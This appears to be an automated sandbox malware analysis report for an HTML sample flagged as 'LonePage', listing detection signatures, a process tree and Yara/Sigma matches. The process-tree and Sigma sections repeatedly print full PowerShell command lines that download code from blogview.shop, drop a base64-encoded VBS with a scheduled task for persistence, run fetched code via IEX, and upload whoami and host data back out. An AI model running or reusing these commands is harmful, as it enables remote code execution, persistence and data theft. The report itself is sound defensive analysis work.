Edit tour

Windows Analysis Report
g3Wg5cdIcT.html

Overview

General Information

Sample name:	g3Wg5cdIcT.html renamed because original name is a hash value
Original sample name:	5eb234197e492e5377ef7b31274ca12d19ebea70b8832e4883be06eaa06e379f.html
Analysis ID:	1542807
MD5:	e839a71f05316103f6ffdf1916173a95
SHA1:	4016963fcc0b2a65afaa80e9058289ca020139e6
SHA256:	5eb234197e492e5377ef7b31274ca12d19ebea70b8832e4883be06eaa06e379f
Tags:	blogview-shophtmluser-JAMESWT_MHT
Infos:

Detection

LonePage

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Sigma detected: Powershell download payload from hardcoded c2 list

Yara detected LonePage

Bypasses PowerShell execution policy

Detected javascript redirector / loader

Downloads suspicious files via Chrome

Found suspicious ZIP file

Found suspicious powershell code related to unpacking or dynamic code loading

HTML page contains base64 encoded files

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious PowerShell Parameter Substring

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Suspicious Javascript code found in HTML file

Suspicious execution chain found

Suspicious powershell command line found

Uses schtasks.exe or at.exe to add and modify task schedules

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Windows shortcut file (LNK) contains suspicious command line arguments

Wscript starts Powershell (via cmd or directly)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTML body contains password input but no form action

HTML title does not match URL

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Sigma detected: Suspicious Schtasks From Env Var Folder

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

chrome.exe (PID: 3812 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\g3Wg5cdIcT.html" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5824 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=1980,i,9620083289215155752,12996393152971919094,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

unarchiver.exe (PID: 5160 cmdline: "C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\748-929-24.zip" MD5: 16FF3CC6CC330A08EED70CBC1D35F5D2)

7za.exe (PID: 4068 cmdline: "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\jq2oycxc.wmp" "C:\Users\user\Downloads\748-929-24.zip" MD5: 77E556CDFDC5C592F5C46DB4127C6F4C)

conhost.exe (PID: 2920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6152 cmdline: "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\jq2oycxc.wmp\748-929-24.html.lnk" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1396 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1436 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell.exe -w hidden -nop -noni -exec bypass -c $w=new-object system.net.webclient;$d=$w.downloadstring('https://blogview.shop/api/values/view/748-929-24.txt'); $dd = [System.Convert]::FromBase64String($d);[System.IO.File]::WriteAllBytes($home+'\appdata\local\temp\748-929-24.html', $dd);&$home\appdata\local\temp\748-929-24.html;$a='ZGltIHIsIGMKc2V0IHIgPSBjcmVhdGVvYmplY3QoIldTY3JpcHQuU2hlbGwiKQpjID0gInBvd2Vyc2hlbGwuZXhlIC1leGVjdXRpb25wb2xpY3kgYnlwYXNzIC13IGhpZGRlbiAtbm9wcm9maWxlIC1jIHN0YXJ0LXNsZWVwIDM5O3N0YXJ0LXNsZWVwIChnZXQtcmFuZG9tIC1taW4gNSAtbWF4IDQzKTtzdGFydC1zbGVlcCAxMTskaWlrPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDskcmMgPSAtam9pbiAoKDQ4Li41NykgfCBnZXQtcmFuZG9tIC1jb3VudCggZ2V0LXJhbmRvbSAtbWluIDUgLW1heCAxNSkgfCBmb3JlYWNoLW9iamVjdCB7IFtjaGFyXSRffSkgKyAnLnR4dCc7JGZsbT0kaWlrLmRvd25sb2FkZGF0YSgnaHR0cHM6Ly9ibG9ndmlldy5zaG9wL2FwaS92YWx1ZXMvMzgzMDM1MjkxNDM0MzgxOTkxNzEvcmVmcmVzaDE5OS8nKyRyYyk7aWYoJGZsbS5MZW5ndGggLWd0IDEpeyRqa3I9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6dXRmOC5nZXRTdHJpbmcoJGZsbSk7aWYoJGprciAtbWF0Y2ggJ2dldC1jb250ZW50Jyl7W2J5dGVbXV0gJGRycHk9SUVYICRqa3I7fWVsc2V7JGJqZG89d2hvYW1pOyRiamRvKz0nPT0nOyRiamRvKz1bU3lzdGVtLk5ldC5EbnNdOjpHZXRIb3N0QWRkcmVzc2VzKCRpcCkrW1N5c3RlbS5FbnZpcm9ubWVudF06Ok5ld0xpbmU7JGhibj1JRVggJGprcjskYmpkbys9JGhibnxPdXQtc3RyaW5nO1tieXRlW11dJGRycHk9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6VXRmOC5HZXRCeXRlcygkYmpkbyk7fTtzdGFydC1zbGVlcCAxMDskdWprPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDtzdGFydC1zbGVlcCAxNjskdWprLnVwbG9hZGRhdGEoJ2h0dHBzOi8vYmxvZ3ZpZXcuc2hvcC9hcGkvdmFsdWVzL3JlZnJlc2gxOTknLCRkcnB5KTt9IgpyLlJ1biBjLCAwLCBmYWxzZQ==';$b=[System.Convert]::FromBase64String($a);$c=[System.Text.Encoding]::utf8.GetString($b);set-content C:\Users\Public\Libraries\Libraries.vbs -value $c;schtasks.exe /create /TN ExplorerCoreUpdateTaskMachine /SC minute /mo 3 /tr C:\Users\Public\Libraries\Libraries.vbs /f; MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

powershell.exe (PID: 5536 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -nop -noni -exec bypass -c =new-object system.net.webclient MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

chrome.exe (PID: 3380 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\appdata\local\temp\748-929-24.html MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2612 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=2000,i,12076860377407532846,4455740521908346531,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

schtasks.exe (PID: 5692 cmdline: "C:\Windows\system32\schtasks.exe" /create /TN ExplorerCoreUpdateTaskMachine /SC minute /mo 3 /tr C:\Users\Public\Libraries\Libraries.vbs /f MD5: 48C2FE20575769DE916F48EF0676A965)

wscript.exe (PID: 6488 cmdline: C:\Windows\System32\WScript.exe "C:\Users\Public\Libraries\Libraries.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 2448 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) | get-random -count( get-random -min 5 -max 15) | foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);} MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 764 cmdline: C:\Windows\System32\WScript.exe "C:\Users\Public\Libraries\Libraries.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 6824 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) | get-random -count( get-random -min 5 -max 15) | foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);} MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\Public\Libraries\Libraries.vbs	JoeSecurity_LonePage	Yara detected LonePage	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000000E.00000002.2254854523.0000019DE464C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LonePage	Yara detected LonePage	Joe Security
0000000F.00000002.2934104900.00000289CCD70000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LonePage	Yara detected LonePage	Joe Security
00000013.00000002.3993054312.00000255DA205000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LonePage	Yara detected LonePage	Joe Security
0000000E.00000002.2265090368.0000019DE47B5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LonePage	Yara detected LonePage	Joe Security
0000000E.00000002.2254854523.0000019DE45FF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LonePage	Yara detected LonePage	Joe Security
0000000F.00000002.2879110154.00000289B2880000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LonePage	Yara detected LonePage	Joe Security
0000000E.00000002.2254854523.0000019DE4606000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LonePage	Yara detected LonePage	Joe Security
00000013.00000002.3993054312.00000255DA190000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LonePage	Yara detected LonePage	Joe Security
00000014.00000002.3996126247.00000233ADBE0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LonePage	Yara detected LonePage	Joe Security
00000013.00000002.3993054312.00000255DA1C6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LonePage	Yara detected LonePage	Joe Security
00000013.00000002.3992915793.00000255DA145000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LonePage	Yara detected LonePage	Joe Security
0000000F.00000002.2882000495.00000289B4631000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LonePage	Yara detected LonePage	Joe Security
00000008.00000002.2213637628.0000000004ECF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LonePage	Yara detected LonePage	Joe Security
0000000F.00000002.2882000495.00000289B5CFD000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LonePage	Yara detected LonePage	Joe Security
00000008.00000002.2213637628.0000000004987000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LonePage	Yara detected LonePage	Joe Security
Process Memory Space: powershell.exe PID: 1436	JoeSecurity_LonePage	Yara detected LonePage	Joe Security
Process Memory Space: powershell.exe PID: 1436	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x34790:$b1: ::WriteAllBytes( 0x3d445:$b1: ::WriteAllBytes( 0x3d4bc:$b1: ::WriteAllBytes( 0x46b78:$b1: ::WriteAllBytes( 0x4727d:$b1: ::WriteAllBytes( 0x6980e:$b1: ::WriteAllBytes( 0x875f4:$b1: ::WriteAllBytes( 0x9687a:$b1: ::WriteAllBytes( 0x96f7f:$b1: ::WriteAllBytes( 0x11970b:$b1: ::WriteAllBytes( 0x11a633:$b1: ::WriteAllBytes( 0x11ad85:$b1: ::WriteAllBytes( 0x16265a:$b1: ::WriteAllBytes( 0x162d5f:$b1: ::WriteAllBytes( 0x16f19b:$b1: ::WriteAllBytes( 0x16f8a0:$b1: ::WriteAllBytes( 0x170f4f:$b1: ::WriteAllBytes( 0x171654:$b1: ::WriteAllBytes( 0x175353:$b1: ::WriteAllBytes( 0x178d73:$b1: ::WriteAllBytes( 0x179489:$b1: ::WriteAllBytes(
Process Memory Space: wscript.exe PID: 6488	JoeSecurity_LonePage	Yara detected LonePage	Joe Security
Process Memory Space: powershell.exe PID: 2448	JoeSecurity_LonePage	Yara detected LonePage	Joe Security
Process Memory Space: wscript.exe PID: 764	JoeSecurity_LonePage	Yara detected LonePage	Joe Security
Process Memory Space: powershell.exe PID: 6824	JoeSecurity_LonePage	Yara detected LonePage	Joe Security
Click to see the 16 entries

Sigma Signatures

Spreading

Sigma detected: Powershell download payload from hardcoded c2 list

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) | get-random -count( get-random -min 5 -max 15) | foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) | get-random -count( get-random -min 5 -max 15) | foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}, CommandLine|base64offset|contains: ^rbzh'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\Public\Libraries\Libraries.vbs" , ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6488, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) | get-random -count( get-random -min 5 -max 15) | foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell.exe -w hidden -nop -noni -exec bypass -c $w=new-object system.net.webclient;$d=$w.downloadstring('https://blogview.shop/api/values/view/748-929-24.txt'); $dd = [System.Convert]::FromBase64String($d);[System.IO.File]::WriteAllBytes($home+'\appdata\local\temp\748-929-24.html', $dd);&$home\appdata\local\temp\748-929-24.html;$a='ZGltIHIsIGMKc2V0IHIgPSBjcmVhdGVvYmplY3QoIldTY3JpcHQuU2hlbGwiKQpjID0gInBvd2Vyc2hlbGwuZXhlIC1leGVjdXRpb25wb2xpY3kgYnlwYXNzIC13IGhpZGRlbiAtbm9wcm9maWxlIC1jIHN0YXJ0LXNsZWVwIDM5O3N0YXJ0LXNsZWVwIChnZXQtcmFuZG9tIC1taW4gNSAtbWF4IDQzKTtzdGFydC1zbGVlcCAxMTskaWlrPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDskcmMgPSAtam9pbiAoKDQ4Li41NykgfCBnZXQtcmFuZG9tIC1jb3VudCggZ2V0LXJhbmRvbSAtbWluIDUgLW1heCAxNSkgfCBmb3JlYWNoLW9iamVjdCB7IFtjaGFyXSRffSkgKyAnLnR4dCc7JGZsbT0kaWlrLmRvd25sb2FkZGF0YSgnaHR0cHM6Ly9ibG9ndmlldy5zaG9wL2FwaS92YWx1ZXMvMzgzMDM1MjkxNDM0MzgxOTkxNzEvcmVmcmVzaDE5OS8nKyRyYyk7aWYoJGZsbS5MZW5ndGggLWd0IDEpeyRqa3I9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6dXRmOC5nZXRTdHJpbmcoJGZsbSk7aWYoJGprciAtbWF0Y2ggJ2dldC1jb250ZW50Jyl7W2J5dGVbXV0gJGRycHk9SUVYICRqa3I7fWVsc2V7JGJqZG89d2hvYW1pOyRiamRvKz0nPT0nOyRiamRvKz1bU3lzdGVtLk5ldC5EbnNdOjpHZXRIb3N0QWRkcmVzc2VzKCRpcCkrW1N5c3RlbS5FbnZpcm9ubWVudF06Ok5ld0xpbmU7JGhibj1JRVggJGprcjskYmpkbys9JGhibnxPdXQtc3RyaW5nO1tieXRlW11dJGRycHk9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6VXRmOC5HZXRCeXRlcygkYmpkbyk7fTtzdGFydC1zbGVlcCAxMDskdWprPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDtzdGFydC1zbGVlcCAxNjskdWprLnVwbG9hZGRhdGEoJ2h0dHBzOi8vYmxvZ3ZpZXcuc2hvcC9hcGkvdmFsdWVzL3JlZnJlc2gxOTknLCRkcnB5KTt9IgpyLlJ1biBjLCAwLCBmYWxzZQ==';$b=[System.Convert]::FromBase64String($a);$c=[System.Text.Encoding]::utf8.GetString($b);set-content C:\Users\Public\Libraries\Libraries.vbs -value $c;schtasks.exe /create /TN ExplorerCoreUpdateTaskMachine /SC minute /mo 3 /tr C:\Users\Public\Libraries\Libraries.vbs /f;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell.exe -w hidden -nop -noni -exec bypass -c $w=new-object system.net.webclient;$d=$w.downloadstring('https://blogview.shop/api/values/view/748-929-24.txt'); $dd = [System.Convert]::FromBase64String($d);[System.IO.File]::WriteAllBytes($home+'\appdata\local\temp\748-929-24.html', $dd);&$home\appdata\local\temp\748-929-24.html;$a='ZGltIHIsIGMKc2V0IHIgPSBjcmVhdGVvYmplY3QoIldTY3JpcHQuU2hlbGwiKQpjID0gInBvd2Vyc2hlbGwuZXhlIC1leGVjdXRpb25wb2xpY3kgYnlwYXNzIC13IGhpZGRlbiAtbm9wcm9maWxlIC1jIHN0YXJ0LXNsZWVwIDM5O3N0YXJ0LXNsZWVwIChnZXQtcmFuZG9tIC1taW4gNSAtbWF4IDQzKTtzdGFydC1zbGVlcCAxMTskaWlrPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDskcmMgPSAtam9pbiAoKDQ4Li41NykgfCBnZXQtcmFuZG9tIC1jb3VudCggZ2V0LXJhbmRvbSAtbWluIDUgLW1heCAxNSkgfCBmb3JlYWNoLW9iamVjdCB7IFtjaGFyXSRffSkgKyAnLnR4dCc7JGZsbT0kaWlrLmRvd25sb2FkZGF0YSgnaHR0cHM6Ly9ibG9ndmlldy5zaG9wL2FwaS92YWx1ZXMvMzgzMDM1MjkxNDM0MzgxOTkxNzEvcmVmcmVzaDE5OS8nKyRyYyk7aWYoJGZsbS5MZW5ndGggLWd0IDEpeyRqa3I9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6dXRmOC5nZXRTdHJpbmcoJGZsbSk7aWYoJGprciAtbWF0Y2ggJ2dldC1jb250ZW50Jyl7W2J

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\system32\schtasks.exe" /create /TN ExplorerCoreUpdateTaskMachine /SC minute /mo 3 /tr C:\Users\Public\Libraries\Libraries.vbs /f, CommandLine: "C:\Windows\system32\schtasks.exe" /create /TN ExplorerCoreUpdateTaskMachine /SC minute /mo 3 /tr C:\Users\Public\Libraries\Libraries.vbs /f, CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell.exe -w hidden -nop -noni -exec bypass -c $w=new-object system.net.webclient;$d=$w.downloadstring('https://blogview.shop/api/values/view/748-929-24.txt'); $dd = [System.Convert]::FromBase64String($d);[System.IO.File]::WriteAllBytes($home+'\appdata\local\temp\748-929-24.html', $dd);&$home\appdata\local\temp\748-929-24.html;$a='ZGltIHIsIGMKc2V0IHIgPSBjcmVhdGVvYmplY3QoIldTY3JpcHQuU2hlbGwiKQpjID0gInBvd2Vyc2hlbGwuZXhlIC1leGVjdXRpb25wb2xpY3kgYnlwYXNzIC13IGhpZGRlbiAtbm9wcm9maWxlIC1jIHN0YXJ0LXNsZWVwIDM5O3N0YXJ0LXNsZWVwIChnZXQtcmFuZG9tIC1taW4gNSAtbWF4IDQzKTtzdGFydC1zbGVlcCAxMTskaWlrPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDskcmMgPSAtam9pbiAoKDQ4Li41NykgfCBnZXQtcmFuZG9tIC1jb3VudCggZ2V0LXJhbmRvbSAtbWluIDUgLW1heCAxNSkgfCBmb3JlYWNoLW9iamVjdCB7IFtjaGFyXSRffSkgKyAnLnR4dCc7JGZsbT0kaWlrLmRvd25sb2FkZGF0YSgnaHR0cHM6Ly9ibG9ndmlldy5zaG9wL2FwaS92YWx1ZXMvMzgzMDM1MjkxNDM0MzgxOTkxNzEvcmVmcmVzaDE5OS8nKyRyYyk7aWYoJGZsbS5MZW5ndGggLWd0IDEpeyRqa3I9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6dXRmOC5nZXRTdHJpbmcoJGZsbSk7aWYoJGprciAtbWF0Y2ggJ2dldC1jb250ZW50Jyl7W2J5dGVbXV0gJGRycHk9SUVYICRqa3I7fWVsc2V7JGJqZG89d2hvYW1pOyRiamRvKz0nPT0nOyRiamRvKz1bU3lzdGVtLk5ldC5EbnNdOjpHZXRIb3N0QWRkcmVzc2VzKCRpcCkrW1N5c3RlbS5FbnZpcm9ubWVudF06Ok5ld0xpbmU7JGhibj1JRVggJGprcjskYmpkbys9JGhibnxPdXQtc3RyaW5nO1tieXRlW11dJGRycHk9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6VXRmOC5HZXRCeXRlcygkYmpkbyk7fTtzdGFydC1zbGVlcCAxMDskdWprPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDtzdGFydC1zbGVlcCAxNjskdWprLnVwbG9hZGRhdGEoJ2h0dHBzOi8vYmxvZ3ZpZXcuc2hvcC9hcGkvdmFsdWVzL3JlZnJlc2gxOTknLCRkcnB5KTt9IgpyLlJ1biBjLCAwLCBmYWxzZQ==';$b=[System.Convert]::FromBase64String($a);$c=[System.Text.Encoding]::utf8.GetString($b);set-content C:\Users\Public\Libraries\Libraries.vbs -value $c;schtasks.exe /create /TN ExplorerCoreUpdateTaskMachine /SC minute /mo 3 /tr C:\Users\Public\Libraries\Libraries.vbs /f;, ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 1436, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\schtasks.exe" /create /TN ExplorerCoreUpdateTaskMachine /SC minute /mo 3 /tr C:\Users\Public\Libraries\Libraries.vbs /f, ProcessId: 5692, ProcessName: schtasks.exe

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell.exe -w hidden -nop -noni -exec bypass -c $w=new-object system.net.webclient;$d=$w.downloadstring('https://blogview.shop/api/values/view/748-929-24.txt'); $dd = [System.Convert]::FromBase64String($d);[System.IO.File]::WriteAllBytes($home+'\appdata\local\temp\748-929-24.html', $dd);&$home\appdata\local\temp\748-929-24.html;$a='ZGltIHIsIGMKc2V0IHIgPSBjcmVhdGVvYmplY3QoIldTY3JpcHQuU2hlbGwiKQpjID0gInBvd2Vyc2hlbGwuZXhlIC1leGVjdXRpb25wb2xpY3kgYnlwYXNzIC13IGhpZGRlbiAtbm9wcm9maWxlIC1jIHN0YXJ0LXNsZWVwIDM5O3N0YXJ0LXNsZWVwIChnZXQtcmFuZG9tIC1taW4gNSAtbWF4IDQzKTtzdGFydC1zbGVlcCAxMTskaWlrPW5ldy1vYmplY3QgbmV0LndlYmNsaWVudDskcmMgPSAtam9pbiAoKDQ4Li41NykgfCBnZXQtcmFuZG9tIC1jb3VudCggZ2V0LXJhbmRvbSAtbWluIDUgLW1heCAxNSkgfCBmb3JlYWNoLW9iamVjdCB7IFtjaGFyXSRffSkgKyAnLnR4dCc7JGZsbT0kaWlrLmRvd25sb2FkZGF0YSgnaHR0cHM6Ly9ibG9ndmlldy5zaG9wL2FwaS92YWx1ZXMvMzgzMDM1MjkxNDM0MzgxOTkxNzEvcmVmcmVzaDE5OS8nKyRyYyk7aWYoJGZsbS5MZW5ndGggLWd0IDEpeyRqa3I9W3N5c3RlbS50ZXh0LmVuY29kaW5nXTo6dXRmOC5nZXRTdHJpbmcoJGZsbSk7aWYoJGprciAtbWF0Y2ggJ2dldC1jb250ZW50Jyl7W2J5dGVbXV0gJGRycHk9SUVYICRqa3I7fWVsc2V7JGJqZG89d2hvYW1pOyRiamRvKz0nPT0nOyRiamRvKz1bU3lzdGVtLk5ldC5EbnNdOjpHZXRIb3N0QWRkcmVzc2VzKCRpcCkrW1N5c3RlbS5FbnZpcm9ubWVudF06Ok5ld0xpbmU7JGhibj1JR